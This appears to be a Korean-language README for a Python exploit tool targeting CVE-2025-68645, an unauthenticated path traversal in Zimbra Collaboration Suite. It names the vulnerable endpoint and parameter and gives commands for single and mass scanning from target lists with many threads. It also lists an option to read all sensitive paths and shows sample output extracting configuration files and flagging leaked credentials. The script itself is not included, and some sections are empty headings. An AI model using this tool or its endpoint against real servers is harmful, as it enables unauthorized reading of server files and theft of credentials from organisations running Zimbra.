CVE-2025-68645 - Zimbra 경로 순회 취약점

📋 개요

CVE-2025-68645는 Zimbra Collaboration Suite의 경로 순회 취약점으로, 인증되지 않은 공격자가 서버 파일 시스템에서 임의 파일을 읽을 수 있습니다.

취약한 엔드포인트

/h/printconversations?javax.servlet.include.servlet_path=

🎯 영향

📁 읽을 수 있는 파일

🚀 사용 방법

단일 대상 스캔

python CVE-2025-68645.py.py -t https://target.zimbra.com

대량 스캔

python CVE-2025-68645.py.py -l targets.txt -o results.json --threads 20

고급 옵션

python CVE-2025-68645.py.py -t https://target.zimbra.com -v --timeout 30

📊 명령줄 인수

인수 설명 기본값 -t, --target 단일 대상 URL None -l, --list 대상 목록이 포함된 파일 None -o, --output 출력 파일 이름 results.json --threads 동시 스레드 수 10 --timeout 요청 시간 초과(초) 15 -v, --verbose 상세 출력 활성화 False --no-verify SSL 인증 비활성화 False --read-all 모든 민감 경로 읽기 False

📸 예제 출력

[*] Scanning: https://target.zimbra.local [✓] VULNERABLE: https://target.zimbra.local [+] Extracted configuration: version: 220726130125 memcached: target.local:11211 httpsPort: 8443 httpPort: 8080 [+] Found: /WEB-INF/web.xml [+] Found: /opt/zimbra/conf/localconfig.xml [!] Possible credentials leaked in /WEB-INF/web.xml

============================================================ SCAN COMPLETE! Time elapsed: 1.02 seconds Total targets: 1 Vulnerable: 1 Not vulnerable: 0